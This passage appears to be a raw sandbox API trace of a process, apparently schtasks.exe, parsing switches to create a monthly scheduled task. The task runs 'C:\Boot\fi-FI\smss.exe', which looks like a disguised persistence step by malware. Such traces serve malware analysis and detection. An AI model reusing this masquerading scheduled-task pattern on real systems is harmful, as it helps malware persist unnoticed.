_Buffer="|mo|") returned 4 [0075.535] lstrlenW (lpString="|s|") returned 3 [0075.535] lstrlenW (lpString="|mo|") returned 4 [0075.535] SetLastError (dwErrCode=0x490) [0075.535] lstrlenW (lpString="u") returned 1 [0075.535] lstrlenW (lpString="u") returned 1 [0075.535] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.535] lstrlenW (lpString="mo") returned 2 [0075.535] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.535] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|u|") returned 3 [0075.535] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.535] lstrlenW (lpString="|u|") returned 3 [0075.535] lstrlenW (lpString="|mo|") returned 4 [0075.535] SetLastError (dwErrCode=0x490) [0075.536] lstrlenW (lpString="p") returned 1 [0075.536] lstrlenW (lpString="p") returned 1 [0075.536] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.536] lstrlenW (lpString="mo") returned 2 [0075.536] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.536] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|p|") returned 3 [0075.536] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.536] lstrlenW (lpString="|p|") returned 3 [0075.536] lstrlenW (lpString="|mo|") returned 4 [0075.536] SetLastError (dwErrCode=0x490) [0075.536] lstrlenW (lpString="ru") returned 2 [0075.536] lstrlenW (lpString="ru") returned 2 [0075.536] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.536] lstrlenW (lpString="mo") returned 2 [0075.536] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.536] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ru|") returned 4 [0075.536] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.536] lstrlenW (lpString="|ru|") returned 4 [0075.536] lstrlenW (lpString="|mo|") returned 4 [0075.536] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0075.536] SetLastError (dwErrCode=0x490) [0075.536] lstrlenW (lpString="rp") returned 2 [0075.536] lstrlenW (lpString="rp") returned 2 [0075.536] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.536] lstrlenW (lpString="mo") returned 2 [0075.537] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.537] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rp|") returned 4 [0075.537] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.537] lstrlenW (lpString="|rp|") returned 4 [0075.537] lstrlenW (lpString="|mo|") returned 4 [0075.537] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0075.537] SetLastError (dwErrCode=0x490) [0075.537] lstrlenW (lpString="sc") returned 2 [0075.537] lstrlenW (lpString="sc") returned 2 [0075.537] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.537] lstrlenW (lpString="mo") returned 2 [0075.537] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.537] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.537] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.537] lstrlenW (lpString="|sc|") returned 4 [0075.537] lstrlenW (lpString="|mo|") returned 4 [0075.537] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0075.537] SetLastError (dwErrCode=0x490) [0075.537] lstrlenW (lpString="mo") returned 2 [0075.537] lstrlenW (lpString="mo") returned 2 [0075.537] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.537] lstrlenW (lpString="mo") returned 2 [0075.537] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.537] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.538] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.538] lstrlenW (lpString="|mo|") returned 4 [0075.538] lstrlenW (lpString="|mo|") returned 4 [0075.538] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0075.538] SetLastError (dwErrCode=0x0) [0075.538] SetLastError (dwErrCode=0x0) [0075.538] lstrlenW (lpString="5") returned 1 [0075.538] SetLastError (dwErrCode=0x490) [0075.538] SetLastError (dwErrCode=0x0) [0075.538] lstrlenW (lpString="5") returned 1 [0075.538] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0075.538] SetLastError (dwErrCode=0x490) [0075.538] SetLastError (dwErrCode=0x0) [0075.538] _memicmp (_Buf1=0x39d660, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.538] lstrlenW (lpString="5") returned 1 [0075.538] lstrlenW (lpString="5") returned 1 [0075.538] lstrlenW (lpString=" \x09") returned 2 [0075.538] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0075.538] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0075.538] GetLastError () returned 0x0 [0075.538] lstrlenW (lpString="5") returned 1 [0075.538] lstrlenW (lpString="5") returned 1 [0075.538] GetProcessHeap () returned 0x380000 [0075.538] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x4) returned 0x39bab0 [0075.538] SetLastError (dwErrCode=0x0) [0075.538] SetLastError (dwErrCode=0x0) [0075.538] lstrlenW (lpString="/tr") returned 3 [0075.538] lstrlenW (lpString="-/") returned 2 [0075.539] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.539] lstrlenW (lpString="create") returned 6 [0075.539] lstrlenW (lpString="create") returned 6 [0075.539] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.539] lstrlenW (lpString="tr") returned 2 [0075.539] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.539] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.539] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.539] lstrlenW (lpString="|create|") returned 8 [0075.539] lstrlenW (lpString="|tr|") returned 4 [0075.539] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0075.539] SetLastError (dwErrCode=0x490) [0075.539] lstrlenW (lpString="?") returned 1 [0075.539] lstrlenW (lpString="?") returned 1 [0075.539] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.539] lstrlenW (lpString="tr") returned 2 [0075.539] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.539] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|?|") returned 3 [0075.539] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.539] lstrlenW (lpString="|?|") returned 3 [0075.539] lstrlenW (lpString="|tr|") returned 4 [0075.539] SetLastError (dwErrCode=0x490) [0075.539] lstrlenW (lpString="s") returned 1 [0075.539] lstrlenW (lpString="s") returned 1 [0075.540] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.540] lstrlenW (lpString="tr") returned 2 [0075.540] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.540] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|s|") returned 3 [0075.540] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.540] lstrlenW (lpString="|s|") returned 3 [0075.540] lstrlenW (lpString="|tr|") returned 4 [0075.540] SetLastError (dwErrCode=0x490) [0075.540] lstrlenW (lpString="u") returned 1 [0075.540] lstrlenW (lpString="u") returned 1 [0075.540] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.540] lstrlenW (lpString="tr") returned 2 [0075.540] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.540] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|u|") returned 3 [0075.540] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.540] lstrlenW (lpString="|u|") returned 3 [0075.540] lstrlenW (lpString="|tr|") returned 4 [0075.540] SetLastError (dwErrCode=0x490) [0075.540] lstrlenW (lpString="p") returned 1 [0075.540] lstrlenW (lpString="p") returned 1 [0075.540] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.540] lstrlenW (lpString="tr") returned 2 [0075.540] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.541] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|p|") returned 3 [0075.541] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.541] lstrlenW (lpString="|p|") returned 3 [0075.541] lstrlenW (lpString="|tr|") returned 4 [0075.541] SetLastError (dwErrCode=0x490) [0075.541] lstrlenW (lpString="ru") returned 2 [0075.541] lstrlenW (lpString="ru") returned 2 [0075.541] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.541] lstrlenW (lpString="tr") returned 2 [0075.541] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.541] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ru|") returned 4 [0075.541] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.541] lstrlenW (lpString="|ru|") returned 4 [0075.541] lstrlenW (lpString="|tr|") returned 4 [0075.541] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0075.541] SetLastError (dwErrCode=0x490) [0075.541] lstrlenW (lpString="rp") returned 2 [0075.541] lstrlenW (lpString="rp") returned 2 [0075.541] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.541] lstrlenW (lpString="tr") returned 2 [0075.541] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.541] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rp|") returned 4 [0075.541] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.541] lstrlenW (lpString="|rp|") returned 4 [0075.542] lstrlenW (lpString="|tr|") returned 4 [0075.542] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0075.542] SetLastError (dwErrCode=0x490) [0075.542] lstrlenW (lpString="sc") returned 2 [0075.542] lstrlenW (lpString="sc") returned 2 [0075.542] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.542] lstrlenW (lpString="tr") returned 2 [0075.542] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.542] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.542] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.542] lstrlenW (lpString="|sc|") returned 4 [0075.542] lstrlenW (lpString="|tr|") returned 4 [0075.542] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0075.542] SetLastError (dwErrCode=0x490) [0075.542] lstrlenW (lpString="mo") returned 2 [0075.542] lstrlenW (lpString="mo") returned 2 [0075.542] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.542] lstrlenW (lpString="tr") returned 2 [0075.542] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.542] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.542] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.542] lstrlenW (lpString="|mo|") returned 4 [0075.542] lstrlenW (lpString="|tr|") returned 4 [0075.542] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0075.543] SetLastError (dwErrCode=0x490) [0075.543] lstrlenW (lpString="d") returned 1 [0075.543] lstrlenW (lpString="d") returned 1 [0075.543] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.543] lstrlenW (lpString="tr") returned 2 [0075.543] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.543] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|d|") returned 3 [0075.543] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.543] lstrlenW (lpString="|d|") returned 3 [0075.543] lstrlenW (lpString="|tr|") returned 4 [0075.543] SetLastError (dwErrCode=0x490) [0075.543] lstrlenW (lpString="m") returned 1 [0075.543] lstrlenW (lpString="m") returned 1 [0075.543] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.543] lstrlenW (lpString="tr") returned 2 [0075.543] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.543] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|m|") returned 3 [0075.544] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.544] lstrlenW (lpString="|m|") returned 3 [0075.544] lstrlenW (lpString="|tr|") returned 4 [0075.544] SetLastError (dwErrCode=0x490) [0075.544] lstrlenW (lpString="i") returned 1 [0075.544] lstrlenW (lpString="i") returned 1 [0075.544] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.544] lstrlenW (lpString="tr") returned 2 [0075.544] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.544] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|i|") returned 3 [0075.544] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.544] lstrlenW (lpString="|i|") returned 3 [0075.544] lstrlenW (lpString="|tr|") returned 4 [0075.544] SetLastError (dwErrCode=0x490) [0075.544] lstrlenW (lpString="tn") returned 2 [0075.544] lstrlenW (lpString="tn") returned 2 [0075.544] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.544] lstrlenW (lpString="tr") returned 2 [0075.544] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.544] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.544] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.544] lstrlenW (lpString="|tn|") returned 4 [0075.544] lstrlenW (lpString="|tr|") returned 4 [0075.544] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0075.544] SetLastError (dwErrCode=0x490) [0075.545] lstrlenW (lpString="tr") returned 2 [0075.545] lstrlenW (lpString="tr") returned 2 [0075.545] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.545] lstrlenW (lpString="tr") returned 2 [0075.545] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.545] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.545] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.545] lstrlenW (lpString="|tr|") returned 4 [0075.545] lstrlenW (lpString="|tr|") returned 4 [0075.545] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0075.545] SetLastError (dwErrCode=0x0) [0075.545] SetLastError (dwErrCode=0x0) [0075.545] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.545] lstrlenW (lpString="-/") returned 2 [0075.545] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0075.545] SetLastError (dwErrCode=0x490) [0075.545] SetLastError (dwErrCode=0x490) [0075.545] SetLastError (dwErrCode=0x0) [0075.545] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.545] StrChrIW (lpStart="'C:\\Boot\\fi-FI\\smss.exe'", wMatch=0x3a) returned=":\\Boot\\fi-FI\\smss.exe'" [0075.545] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.545] _memicmp (_Buf1=0x39c430, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.545] _memicmp (_Buf1=0x39d600, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.545] SetLastError (dwErrCode=0x7a) [0075.546] SetLastError (dwErrCode=0x0) [0075.546] SetLastError (dwErrCode=0x0) [0075.546] lstrlenW (lpString="'C") returned 2 [0075.546] lstrlenW (lpString="-/") returned 2 [0075.546] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0075.546] SetLastError (dwErrCode=0x490) [0075.546] SetLastError (dwErrCode=0x490) [0075.546] SetLastError (dwErrCode=0x0) [0075.546] _memicmp (_Buf1=0x39d660, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.546] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.546] GetProcessHeap () returned 0x380000 [0075.546] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d680) returned 1 [0075.546] GetProcessHeap () returned 0x380000 [0075.546] RtlReAllocateHeap (Heap=0x380000, Flags=0xc, Ptr=0x39d680, Size=0x32) returned 0x397c40 [0075.546] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.546] lstrlenW (lpString=" \x09") returned 2 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0075.546] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0075.547] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0075.547] GetLastError () returned 0x0 [0075.547] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.547] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.547] SetLastError (dwErrCode=0x0) [0075.547] SetLastError (dwErrCode=0x0) [0075.547] lstrlenW (lpString="/rl") returned 3 [0075.547] lstrlenW (lpString="-/") returned 2 [0075.547] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.547] lstrlenW (lpString="create") returned 6 [0075.547] lstrlenW (lpString="create") returned 6 [0075.547] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.547] lstrlenW (lpString="rl") returned 2 [0075.547] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.548] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.548] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.548] lstrlenW (lpString="|create|") returned 8 [0075.548] lstrlenW (lpString="|rl|") returned 4 [0075.548] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0075.548] SetLastError (dwErrCode=0x490) [0075.548] lstrlenW (lpString="?") returned 1 [0075.548] lstrlenW (lpString="?") returned 1 [0075.548] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.548] lstrlenW (lpString="rl") returned 2 [0075.548] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.548] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|?|") returned 3 [0075.548] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.548] lstrlenW (lpString="|?|") returned 3 [0075.548] lstrlenW (lpString="|rl|") returned 4 [0075.548] SetLastError (dwErrCode=0x490) [0075.548] lstrlenW (lpString="s") returned 1 [0075.548] lstrlenW (lpString="s") returned 1 [0075.548] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.548] lstrlenW (lpString="rl") returned 2 [0075.548] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.548] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|s|") returned 3 [0075.548] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.549] lstrlenW (lpString="|s|") returned 3 [0075.549] lstrlenW (lpString="|rl|") returned 4 [0075.549] SetLastError (dwErrCode=0x490) [0075.549] lstrlenW (lpString="u") returned 1 [0075.549] lstrlenW (lpString="u") returned 1 [0075.549] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.549] lstrlenW (lpString="rl") returned 2 [0075.549] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.549] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|u|") returned 3 [0075.549] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.549] lstrlenW (lpString="|u|") returned 3 [0075.549] lstrlenW (lpString="|rl|") returned 4 [0075.549] SetLastError (dwErrCode=0x490) [0075.549] lstrlenW (lpString="p") returned 1 [0075.549] lstrlenW (lpString="p") returned 1 [0075.549] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.549] lstrlenW (lpString="rl") returned 2 [0075.549] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.549] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|p|") returned 3 [0075.549] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.549] lstrlenW (lpString="|p|") returned 3 [0075.549] lstrlenW (lpString="|rl|") returned 4 [0075.549] SetLastError (dwErrCode=0x490) [0075.549] lstrlenW (lpString="ru") returned 2 [0075.549] lstrlenW (lpString="ru") returned 2 [0075.550] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.550] lstrlenW (lpString="rl") returned 2 [0075.550] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.550] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ru|") returned 4 [0075.550] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.550] lstrlenW (lpString="|ru|") returned 4 [0075.550] lstrlenW (lpString="|rl|") returned 4 [0075.550] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0075.550] SetLastError (dwErrCode=0x490) [0075.550] lstrlenW (lpString="rp") returned 2 [0075.550] lstrlenW (lpString="rp") returned 2 [0075.550] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.550] lstrlenW (lpString="rl") returned 2 [0075.550] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.550] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rp|") returned 4 [0075.550] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.550] lstrlenW (lpString="|rp|") returned 4 [0075.550] lstrlenW (lpString="|rl|") returned 4 [0075.550] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0075.550] SetLastError (dwErrCode=0x490) [0075.550] lstrlenW (lpString="sc") returned 2 [0075.550] lstrlenW (lpString="sc") returned 2 [0075.550] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.550] lstrlenW (lpString="rl") returned 2 [0075.551] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 